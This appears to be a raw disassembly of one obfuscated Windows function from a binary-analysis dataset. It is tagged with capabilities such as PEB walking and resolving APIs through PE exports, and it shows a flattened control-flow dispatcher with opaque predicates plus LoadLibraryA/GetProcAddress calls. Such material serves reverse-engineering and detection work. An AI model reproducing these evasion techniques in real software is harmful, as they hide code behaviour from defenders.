Function at 0x401c50
Capabilities:
Access peb ldr_data
Check os version
Create thread
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x1b818
call fcn.00439dd0
mov eax, dword [esp + 0x1b82c]
lea esi, [esp + 0x214]
mov dword [esp + 0x4c], eax
mov eax, dword [0x47e2c0]
xor eax, esp
mov dword [esp + 0x1b814], eax
push 0x1b600
push 0x45828e
push esi
call fcn.0043cc50
add esp, 0xc
push 0x1b600
push esi
call fcn.00401180
add esp, 8
mov eax, 0xe88d46f6
mov dword [esp + 0xcc], esi
jmp 0x401d00
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4803f0]
mov edi, 0x6093fcd4
mov ebx, 0x3a468bc0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3a468bc0
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
nop word cs:[eax + eax]
cmp eax, 0xf87c2750
jle 0x401d80
cmp eax, 0x3b7690ea
jle 0x401df0
cmp eax, 0x5e44c5a7
jle 0x401ee1
cmp eax, 0x6c7b00d8
jg 0x402052
cmp eax, 0x64cc7f51
jg 0x4023b2
cmp eax, 0x62e913ae
jg 0x4028bb
cmp eax, 0x5f5bf569
jle 0x403204
cmp eax, 0x5f5bf56a
je 0x403d92
cmp eax, 0x6093fcd4
je 0x403ddb
cmp eax, 0x611ec560
jne 0x401d00
cmp byte [esp + 0x1b], 0
mov eax, 0xdd9be504
mov ecx, 0x84d2f894
cmovne eax, ecx
jmp 0x401d00
cmp eax, 0xbcbaf47e
jg 0x401e70
cmp eax, 0x9f9f8853
jle 0x401f38
cmp eax, 0xaf795496
jg 0x4020c6
cmp eax, 0xa7f29f78
jg 0x40241d
cmp eax, 0xa2b62da8
jg 0x4028f1
cmp eax, 0xa0b148a6
jle 0x403224
cmp eax, 0xa0b148a7
je 0x403de5
cmp eax, 0xa1e72f01
je 0x403e1b
cmp eax, 0xa20da8e2
jne 0x401d00
mov eax, 0x6916a026
jmp 0x401d00
cmp eax, 0x20169575
jle 0x401f8f
cmp eax, 0x2e2730e0
jg 0x40212a
cmp eax, 0x289858db
jg 0x40247d
cmp eax, 0x24194f30
jg 0x402951
cmp eax, 0x220bc4e9
jle 0x403244
cmp eax, 0x220bc4ea
je 0x403e2c
cmp eax, 0x2369a43f
je 0x403e36
cmp eax, 0x23fc268a
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x220bc4ea
mov edi, 0xda6d5cce
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xda6d5cce
jmp 0x405278
cmp eax, 0xd4dcb6a0
jle 0x401ffb
cmp eax, 0xe664f051
jg 0x40219d
cmp eax, 0xe0083742
jg 0x4024c6
cmp eax, 0xd9e8e16b
jg 0x4029c9
cmp eax, 0xd6fcc60c
jle 0x403270
cmp eax, 0xd6fcc60d
je 0x403e5c
cmp eax, 0xd8079669
je 0x403e7b
cmp eax, 0xd940cbcf
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x4a7b6bd4
lea eax, [edx - 1]
jmp 0x402bdf
cmp eax, 0x4c124397
jg 0x4021e9
cmp eax, 0x477cfb49
jg 0x40250f
cmp eax, 0x42375e80
jg 0x402a41
cmp eax, 0x3da86208
jle 0x40329c
cmp eax, 0x3da86209
je 0x403ead
cmp eax, 0x3e7058a7
je 0x403ee8
cmp eax, 0x3f0dcf42
jne 0x401d00
mov eax, 0xad4aaa1d
jmp 0x401d00
cmp eax, 0x8bacc94b
jle 0x40223c
cmp eax, 0x94ab1ede
jg 0x402550
cmp eax, 0x926cb831
jg 0x402a8b
cmp eax, 0x8d305c49
jle 0x4032ee
cmp eax, 0x8d305c4a
je 0x403f3d
cmp eax, 0x8d93176d
je 0x403f47
cmp eax, 0x90ef4616
jne 0x401d00
mov eax, 0x8bacc94c
jmp 0x401d00
cmp eax, 0x7dbc302
jle 0x40229b
cmp eax, 0x15467cb0
jg 0x402591
cmp eax, 0xeb01f54
jg 0x402ac1
cmp eax, 0x8f2337a
jle 0x40331b
cmp eax, 0x8f2337b
je 0x403f6d
cmp eax, 0xcf31982
je 0x403f84
cmp eax, 0xdef466e
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x7dbc303
mov edi, 0xcf0a845a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcf0a845a
jmp 0x405278
cmp eax, 0xca434abb
jle 0x402324
cmp eax, 0xd103afe9
jg 0x4025d2
cmp eax, 0xccfa94f0
jg 0x402b21
cmp eax, 0xcc0c14cb
jle 0x403348
cmp eax, 0xcc0c14cc
je 0x403fb7
cmp eax, 0xcc94b4e8
je 0x403fc1
cmp eax, 0xccb0ee03
jne 0x401d00
mov eax, 0xcc0c14cc
jmp 0x401d00
cmp eax, 0x7bf89311
jg 0x402613
cmp eax, 0x746ee9ab
jg 0x402b9f
cmp eax, 0x6f449c4a
jle 0x403384
cmp eax, 0x6f449c4b
je 0x403ff5
cmp eax, 0x6f7782f4
je 0x403fff
cmp eax, 0x6feb30f2
jne 0x401d00
mov eax, dword [esp + 0x60]
mov dword [esp + 0x148], esi
mov dword [esp + 0x144], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x14c], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x150], eax
mov eax, 0x3da86209
jmp 0x401d00
cmp eax, 0xb5c767d9
jg 0x40265b
cmp eax, 0xb1ff92c5
jg 0x402bff
cmp eax, 0xb03d0677
jle 0x4033a4
cmp eax, 0xb03d0678
je 0x404033
cmp eax, 0xb1269807
je 0x404052
cmp eax, 0xb1889309
jne 0x401d00
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x48]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, esi
mov dword [esp + 0x134], eax
mov eax, 0x873bc71e
jmp 0x401d00
cmp eax, 0x370f3354
jg 0x40269c
cmp eax, 0x35a2423e
jg 0x402c3d
cmp eax, 0x30f380e6
jle 0x4033d6
cmp eax, 0x30f380e7
je 0x40405c
cmp eax, 0x31bf154c
je 0x4040a2
cmp eax, 0x342d9270
jne 0x401d00
mov eax, dword [esp + 4]
mov edi, 0xd1f23f24
mov ebx, 0x35a2423f
mov dword [esp + 0x15c], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x35a2423f
jmp 0x401cda
cmp eax, 0xee818355
jg 0x4026f8
cmp eax, 0xec51ef04
jg 0x402c73
cmp eax, 0xe9dc9458
jle 0x4033f6
cmp eax, 0xe9dc9459
je 0x4040ac
cmp eax, 0xeaf591e3
je 0x4040dd
cmp eax, 0xebd1f77c
jne 0x401d00
mov eax, 0xdff3d0f5
jmp 0x401d00
cmp eax, 0x5568eb58
jle 0x402739
cmp eax, 0x59c4f0b6
jg 0x402cb1
cmp eax, 0x58c1498d
jle 0x40342d
cmp eax, 0x58c1498e
je 0x4040e7
cmp eax, 0x58ff8e67
je 0x40414a
cmp eax, 0x59188675
jne 0x401d00
mov dword [esp + 0xfc], esi
mov eax, 0x35e3d654
jmp 0x401d00
cmp eax, 0x8544223d
jle 0x4027c5
cmp eax, 0x87a7e1d0
jg 0x402cfc
cmp eax, 0x8663ee41
jle 0x403455
cmp eax, 0x8663ee42
je 0x404170
cmp eax, 0x866f8bbb
je 0x404181
cmp eax, 0x873bc71e
jne 0x401d00
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x134]
mov dword [esp + 0x70], eax
mov eax, 0x59c4f0b7
jmp 0x401d00
cmp eax, 0xfcbb3b75
jle 0x40280e
cmp eax, 0x38facc7
jg 0x402d51
cmp eax, 0xffc70ade
jle 0x403475
cmp eax, 0xffc70adf
je 0x40418b
cmp eax, 0xf368a0
je 0x4041b7
cmp eax, 0x1bcb2bf
jne 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0xeaf591e3
mov ebx, 0x85363bbd
mov dword [esp + 4], 0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x85363bbd
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401d00
cmp eax, 0xc268ce7e
jle 0x402869
cmp eax, 0xc3f49c54
jg 0x402d87
cmp eax, 0xc3535e34
jle 0x4034a5
cmp eax, 0xc3535e35
je 0x4041fc
cmp eax, 0xc3cee479
je 0x40420e
cmp eax, 0xc3d51546
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x76b434a5
mov dword [esp], 0xc
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x926cb832
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401d00
cmp eax, 0x69cda18a
jg 0x402dbd
cmp eax, 0x650c6e0b
jle 0x4034d9
cmp eax, 0x650c6e0c
je 0x404234
cmp eax, 0x659ebf6d
je 0x404257
cmp eax, 0x6916a026
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x888bdfb8
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa20da8e2
jmp 0x405564
cmp eax, 0xa96f32dc
jg 0x402e1d
cmp eax, 0xa8a0ff5a
jle 0x4034f9
cmp eax, 0xa8a0ff5b
je 0x404261
cmp eax, 0xa8a2075a
je 0x404297
cmp eax, 0xa8d09292
jne 0x401d00
mov eax, dword [esp + 0xc8]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x10]
movzx eax, word [eax]
mov word [esp + 0x3e], ax
mov eax, 0x4594771f
jmp 0x401d00
cmp eax, 0x2c06ada7
jg 0x402e53
cmp eax, 0x29a9e14a
jle 0x403535
cmp eax, 0x29a9e14b
je 0x4042b5
cmp eax, 0x2a4e954b
je 0x4042c6
cmp eax, 0x2baf38c6
jne 0x401d00
cmp dword [esp + 0x164], 0
mov eax, 0x24194f31
jmp 0x404227
cmp eax, 0xe41b86f7
jg 0x402e89
cmp eax, 0xe1b3cb53
jle 0x40356b
cmp eax, 0xe1b3cb54
je 0x4042de
cmp eax, 0xe24ba8f4
je 0x4042e8
cmp eax, 0xe27b8480
jne 0x401d00
cmp dword [esp + 0x168], 0
mov eax, 0x58ff8e67
jmp 0x40317f
cmp eax, 0x4a7b6bd3
jg 0x402ee7
cmp eax, 0x47a41f7c
jle 0x40358b
cmp eax, 0x47a41f7d
je 0x40430e
cmp eax, 0x47fca9f5
je 0x404318
cmp eax, 0x4883f637
jne 0x401d00
mov eax, 0x46700e18
jmp 0x401d00
cmp eax, 0x98e16076
jg 0x402f1d
cmp eax, 0x96c9adde
jle 0x4035af
cmp eax, 0x96c9addf
je 0x404342
cmp eax, 0x97b7a699
je 0x404376
cmp eax, 0x9807d06c
jne 0x401d00
mov eax, 0xc1e4fd40
jmp 0x401d00
cmp eax, 0x186f605a
jg 0x402f53
cmp eax, 0x15d54ee4
jle 0x4035cf
cmp eax, 0x15d54ee5
je 0x40438b
cmp eax, 0x16855826
je 0x4043a1
cmp eax, 0x173bf517
jne 0x401d00
mov eax, 0x89100581
jmp 0x401d00
cmp eax, 0xd3515cf4
jg 0x402f94
cmp eax, 0xd131e7d8
jle 0x4035ef
cmp eax, 0xd131e7d9
je 0x4043d8
cmp eax, 0xd1f23f24
je 0x4043f7
cmp eax, 0xd35001ba
jne 0x401d00
mov eax, 0x812b2dde
jmp 0x401d00
cmp eax, 0x7e4eaf04
jg 0x402ff2
cmp eax, 0x7d3b2ba8
jle 0x40360f
cmp eax, 0x7d3b2ba9
je 0x404401
cmp eax, 0x7d412dbe
je 0x404427
cmp eax, 0x7d726367
jne 0x401d00
mov dword [esp], 7
mov eax, 0xec51ef05
jmp 0x401d00
cmp eax, 0xbac8706a
jg 0x40303c
cmp eax, 0xb67379e2
jle 0x403659
cmp eax, 0xb67379e3
je 0x40443f
cmp eax, 0xb7faed81
je 0x404449
cmp eax, 0xb8506601
jne 0x401d00
mov eax, 0x1473a685
jmp 0x401d00
cmp eax, 0x38002cf1
jg 0x40308e
cmp eax, 0x375df7f8
jle 0x403684
cmp eax, 0x375df7f9
je 0x404490
cmp eax, 0x378d295e
je 0x4044dd
cmp eax, 0x37d0a07d
jne 0x401d00
push dword [esp + 0x130]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esp + 0x6c], eax
mov eax, 0xc3f49c55
setne byte [esp + 0x1e]
jmp 0x401d00
cmp eax, 0xf1f0203c
jg 0x4030e3
cmp eax, 0xefe0f1f4
jle 0x4036a4
cmp eax, 0xefe0f1f5
je 0x4044fc
cmp eax, 0xf10345f4
je 0x40450d
cmp eax, 0xf17f139f
jne 0x401d00
mov eax, 0x4f00a384
jmp 0x401d00
cmp eax, 0x50da282f
jg 0x403126
cmp eax, 0x4f00a383
jle 0x4036d2
cmp eax, 0x4f00a384
je 0x404522
cmp eax, 0x4f95e24d
je 0x40452c
cmp eax, 0x500db5a1
jne 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x857a9756
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x2a4e954b
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [esp + 0x90]
cmovge eax, ebx
cmp ecx, dword [esp + 0x94]
setl byte [esp + 0x1b]
jmp 0x401d00
cmp eax, 0x837ad0f1
jle 0x403151
cmp eax, 0x84d2f893
jle 0x4036fa
cmp eax, 0x84d2f894
je 0x40453d
cmp eax, 0x84f29544
je 0x40454e
cmp eax, 0x85363bbd
jne 0x401d00
mov dword [esp + 4], 0
mov eax, 0x1bcb2bf
jmp 0x401d00
cmp eax, 0xfa2d5668
jle 0x40318c
cmp eax, 0xfa8d9672
jle 0x403738
cmp eax, 0xfa8d9673
je 0x4045cd
cmp eax, 0xfa9bc045
je 0x404604
cmp eax, 0xfad6d7a6
jne 0x401d00
mov eax, dword [esp + 0x118]
add eax, dword [esp + 0x11c]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
mov eax, 0x4c124398
jmp 0x401d00
cmp eax, 0xbf48c7d0
jle 0x4031d9
cmp eax, 0xbfb529b3
jle 0x403782
cmp eax, 0xbfb529b4
je 0x40460e
cmp eax, 0xc0e198e9
je 0x404618
cmp eax, 0xc1e4fd40
jne 0x401d00
mov eax, dword [esp + 0xdc]
mov eax, dword [eax + 0x34]
mov dword [esp + 0xe0], eax
mov eax, 0x2369a43f
jmp 0x401d00
cmp eax, 0x63bc482f
jle 0x4037af
cmp eax, 0x63bc4830
je 0x40466a
cmp eax, 0x6414a4d3
je 0x40467c
cmp eax, 0x642a4868
jne 0x401d00
mov eax, 0xc268ce7f
jmp 0x401d00
cmp eax, 0xa6b0ca93
jle 0x4037f2
cmp eax, 0xa6b0ca94
je 0x404693
cmp eax, 0xa720763d
je 0x4046c7
cmp eax, 0xa764d69f
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xe9dc9459
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1eb75f39
jmp 0x405564
cmp eax, 0x270b1c3d
jle 0x403826
cmp eax, 0x270b1c3e
je 0x4046f4
cmp eax, 0x2731b14a
je 0x4046fe
cmp eax, 0x27b76d92
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x38c81ae6
mov dword [esp], 0xa
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5e44c5a8
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401d00
cmp eax, 0xda6d5ccd
jle 0x403870
cmp eax, 0xda6d5cce
je 0x404708
cmp eax, 0xdd9be504
je 0x404712
cmp eax, 0xdff3d0f5
jne 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x55398d8b
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xebd1f77c
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
lea ecx, [ebp + 0x78]
cmovge eax, ebx
mov dword [esp + 0xd4], ecx
jmp 0x401d00
cmp eax, 0x451cce59
jle 0x403897
cmp eax, 0x451cce5a
je 0x404723
cmp eax, 0x4594771f
je 0x404739
cmp eax, 0x46700e18
jne 0x401d00
mov dword [esp + 0x120], esi
mov eax, dword [ebp + 0x80]
mov dword [esp + 0x124], eax
mov eax, 0xcf1e9f7c
jmp 0x401d00
cmp eax, 0x92c015fa
jle 0x4038cc
cmp eax, 0x92c015fb
je 0x404758
cmp eax, 0x934f99c5
je 0x40478a
cmp eax, 0x9373e337
jne 0x401d00
mov eax, 0x4883f637
jmp 0x401d00
cmp eax, 0x102d29c2
jle 0x403921
cmp eax, 0x102d29c3
je 0x4047b0
cmp eax, 0x1156448c
je 0x4047ba
cmp eax, 0x1473a685
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x959ee768
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb8506601
jmp 0x405564
cmp eax, 0xcf0a8459
jle 0x403941
cmp eax, 0xcf0a845a
je 0x404823
cmp eax, 0xcf1e9f7c
je 0x404832
cmp eax, 0xd0f747be
jne 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xbfb529b4
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x29a9e14b
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [esp + 0xac]
cmovge eax, ebx
cmp ecx, dword [esp + 0x74]
setl byte [esp + 0x1c]
jmp 0x401d00
cmp eax, 0x76b434a4
jle 0x403961
cmp eax, 0x76b434a5
je 0x404856
cmp eax, 0x7782632d
je 0x404860
cmp eax, 0x797a69d1
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xd940cbcf
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x80a865dc
jmp 0x405564
cmp eax, 0xb2e6a0d8
jle 0x40398c
cmp eax, 0xb2e6a0d9
je 0x404886
cmp eax, 0xb4732a81
je 0x404890
cmp eax, 0xb51b8c37
jne 0x401d00
mov dword [esp + 0xc], 4
mov eax, 0xb7faed81
jmp 0x401d00
cmp eax, 0x35e3d653
jle 0x4039c8
cmp eax, 0x35e3d654
je 0x40489a
cmp eax, 0x36192c2b
je 0x4048ae
cmp eax, 0x370aa2e5
jne 0x401d00
mov eax, 0xafb6e32c
jmp 0x401d00
cmp eax, 0xed41f63a
jle 0x4039ef
cmp eax, 0xed41f63b
je 0x4048b8
cmp eax, 0xed595f52
je 0x4048c9
cmp eax, 0xed6c3b78
jne 0x401d00
mov dword [esp + 0x64], 0
mov eax, 0x16855826
jmp 0x401d00
cmp eax, 0x5ca3148e
jle 0x403a0f
cmp eax, 0x5ca3148f
je 0x404909
cmp eax, 0x5ccc1b02
je 0x404913
cmp eax, 0x5ce14a2b
jne 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x6c55d1be
mov ebx, 0x746ee9ac
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x746ee9ac
jmp 0x401cd2
cmp eax, 0x89100580
jle 0x403a2f
cmp eax, 0x89100581
je 0x40491d
cmp eax, 0x897d843f
je 0x404951
cmp eax, 0x8b0e0e8b
jne 0x401d00
mov eax, dword [esp + 0x8c]
movzx ecx, word [eax + 0x10]
mov eax, dword [esp + 0x54]
mov eax, 0x7fe85b5c
add ecx, dword [esp + 0x54]
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], ecx
jmp 0x401d00
cmp eax, 0x56cd8bf
jle 0x403a5a
cmp eax, 0x56cd8c0
je 0x404990
cmp eax, 0x58aabb5
je 0x4049bb
cmp eax, 0x6b011cb
jne 0x401d00
mov eax, 0x47fca9f5
jmp 0x401d00
cmp eax, 0xc618df2f
jle 0x403a7a
cmp eax, 0xc618df30
je 0x4049c5
cmp eax, 0xc925fb36
je 0x4049da
cmp eax, 0xca3cd17e
jne 0x401d00
mov eax, 0xee818356
jmp 0x401d00
cmp eax, 0x6b903bf8
jle 0x403aa1
cmp eax, 0x6b903bf9
je 0x404a00
cmp eax, 0x6bb0f105
je 0x404a26
cmp eax, 0x6c55d1be
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x1c3ea1e9
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x746ee9ac
jmp 0x405564
cmp eax, 0xab8c9748
jle 0x403ad3
cmp eax, 0xab8c9749
je 0x404a41
cmp eax, 0xac2fcdd8
je 0x404a4b
cmp eax, 0xad4aaa1d
jne 0x401d00
mov eax, 0x252867d8
jmp 0x401d00
cmp eax, 0x2cf18375
jle 0x403af3
cmp eax, 0x2cf18376
je 0x404a71
cmp eax, 0x2d524e79
je 0x404aaa
cmp eax, 0x2daecb1a
jne 0x401d00
mov eax, 0xe24ba8f4
jmp 0x401d00
cmp eax, 0xe54254fc
jle 0x403b3c
cmp eax, 0xe54254fd
je 0x404abe
cmp eax, 0xe5e4263d
je 0x404ac8
cmp eax, 0xe6114d73
jne 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x3c01514a
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7d412dbe
jmp 0x405438
cmp eax, 0x4b2a3844
jle 0x403b86
cmp eax, 0x4b2a3845
je 0x404ad2
cmp eax, 0x4ba6d316
je 0x404aeb
cmp eax, 0x4bf6c03a
jne 0x401d00
mov eax, 0xca59b172
jmp 0x401d00
cmp eax, 0x99e93d14
jle 0x403ba6
cmp eax, 0x99e93d15
je 0x404b0a
cmp eax, 0x9a8d03f2
je 0x404b3e
cmp eax, 0x9b73b841
jne 0x401d00
mov eax, 0xf10345f4
jmp 0x401d00
cmp eax, 0x1c3ea1e8
jle 0x403bc6
cmp eax, 0x1c3ea1e9
je 0x404b48
cmp eax, 0x1e941db5
je 0x404b52
cmp eax, 0x1eb75f39
jne 0x401d00
mov eax, dword [esp + 0xb8]
mov dword [esp + 4], eax
mov eax, 0xe9dc9459
jmp 0x401d00
cmp eax, 0xd42028f0
jle 0x403bf1
cmp eax, 0xd42028f1
je 0x404b85
cmp eax, 0xd4820008
je 0x404bab
cmp eax, 0xd49b3107
jne 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x47fca9f5
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6b011cb
jmp 0x405438
cmp eax, 0x7fc8ad59
jle 0x403c29
cmp eax, 0x7fc8ad5a
je 0x404bce
cmp eax, 0x7fe85b5c
je 0x404c00
cmp eax, 0x7fea34b8
jne 0x401d00
mov ecx, dword [esp + 0x14]
mov eax, ecx
xor eax, 0x7fffffff
and eax, ecx
mov dword [esp + 0x164], eax
mov eax, 0x2baf38c6
jmp 0x401d00
cmp eax, 0xbc0286e9
jle 0x403c49
cmp eax, 0xbc0286ea
je 0x404c5a
cmp eax, 0xbc4e7698
je 0x404ca0
cmp eax, 0xbc9fcfad
jne 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x5f5bf56a
mov ebx, 0xd9f331de
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd9f331de
jmp 0x401cda
cmp eax, 0x39d6ace9
jle 0x403c69
cmp eax, 0x39d6acea
je 0x404cbc
cmp eax, 0x3a468bc0
je 0x404ccd
cmp eax, 0x3a48e783
jne 0x401d00
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x34]
mov eax, dword [eax + ecx*4]
lea ecx, [eax + esi]
movzx eax, ax
mov dword [esp + 0x13c], eax
mov dword [esp + 0xc4], ecx
mov eax, 0xf9aaab9a
jmp 0x401d00
cmp eax, 0xf510aa19
jle 0x403c89
cmp eax, 0xf510aa1a
je 0x404ce2
cmp eax, 0xf5322175
je 0x404cec
cmp eax, 0xf63c63a9
jne 0x401d00
cmp byte [esp + 0x1c], 0
mov eax, 0xa6b0ca94
mov ecx, 0x20b9347a
cmovne eax, ecx
jmp 0x401d00
cmp eax, 0x52b30002
jle 0x403cbe
cmp eax, 0x53771c02
je 0x404cf6
cmp eax, 0x55398d8b
jne 0x4055ee
mov eax, 0x2cf18376
jmp 0x401d00
cmp eax, 0x8163c71e
jg 0x403cde
cmp eax, 0x80a865dc
je 0x404d00
cmp eax, 0x812b2dde
jne 0x401d00
cmp dword [esp + 0x16c], 0
mov eax, 0xc3535e35
mov ecx, 0x8d93176d
cmove eax, ecx
jmp 0x401d00
cmp eax, 0xf9bad479
jg 0x403cfe
cmp eax, 0xf87c2751
je 0x404d0a
cmp eax, 0xf9aaab9a
jne 0x401d00
push dword [esp + 0x13c]
push dword [esp + 0x70]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x60], eax
test eax, eax
mov eax, 0x6feb30f2
mov ecx, 0x6bb0f105
cmove eax, ecx
jmp 0x401d00
cmp eax, 0xbdd50880
jg 0x403d56
cmp eax, 0xbcbaf47f
je 0x404d3e
cmp eax, 0xbd31a3a6
jne 0x401d00
mov eax, 0x97b7a699
jmp 0x401d00
cmp eax, 0x5e44c5a8
je 0x404d70
cmp eax, 0x5e648114
jne 0x401d00
mov eax, 0x7d3b2ba9
jmp 0x401d00
cmp eax, 0x9f9f8854
je 0x404d81
cmp eax, 0xa0567152
jne 0x401d00
mov eax, 0xb1269807
jmp 0x401d00
cmp eax, 0x20169576
je 0x404d8b
cmp eax, 0x20b9347a
jne 0x401d00
mov eax, dword [esp + 0x10]
movzx eax, word [eax]
mov word [esp + 0x3c], ax
mov eax, 0xdef466e
jmp 0x401d00
cmp eax, 0xd4dcb6a1
je 0x404db3
cmp eax, 0xd53dfdc1
jne 0x401d00
mov eax, dword [esp + 0xf8]
inc eax
mov dword [esp + 0x30], eax
mov eax, 0x5ccc1b02
jmp 0x401d00
cmp eax, 0x3b7690eb
je 0x404dbd
cmp eax, 0x3c01514a
jne 0x401d00
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
mov ebx, 0xbf5ca222
mov edi, 0x7d412dbe
cmp ecx, dword [eax + 0x34]
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
setne byte [esp + 0x1a]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7d412dbe
jmp 0x405280
cmp eax, 0x8bacc94c
je 0x404dfb
cmp eax, 0x8ce5f663
jne 0x401d00
vxorps xmm0, xmm0, xmm0
vmovups xmmword [esp + 0x18c], xmm0
mov eax, 0x2cc43193
jmp 0x401d00
cmp eax, 0x7dbc303
je 0x404e1b
cmp eax, 0x8d4c678
jne 0x401d00
cmp byte [esp + 0x22], 0
mov eax, 0xa7f29f79
mov ecx, 0x98e16077
cmovne eax, ecx
jmp 0x401d00
cmp eax, 0xca434abc
je 0x404e4f
cmp eax, 0xca59b172
jne 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x9807d06c
mov dword [esp + 0xdc], ebp
mov ebx, 0x4bf6c03a
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x4bf6c03a
jmp 0x401cd2
cmp eax, 0x6c7b00d9
je 0x404e59
cmp eax, 0x6d7036e0
jne 0x401d00
mov eax, 0x38facc8
jmp 0x401d00
cmp eax, 0xaf795497
je 0x404e7f
cmp eax, 0xafb6e32c
jne 0x401d00
mov eax, dword [esp + 0x158]
mov ecx, 0x99e93d15
cmp eax, 0xc
mov eax, 0x92c015fb
cmove eax, ecx
jmp 0x401d00
cmp eax, 0x2e2730e1
je 0x404e94
cmp eax, 0x306f52ae
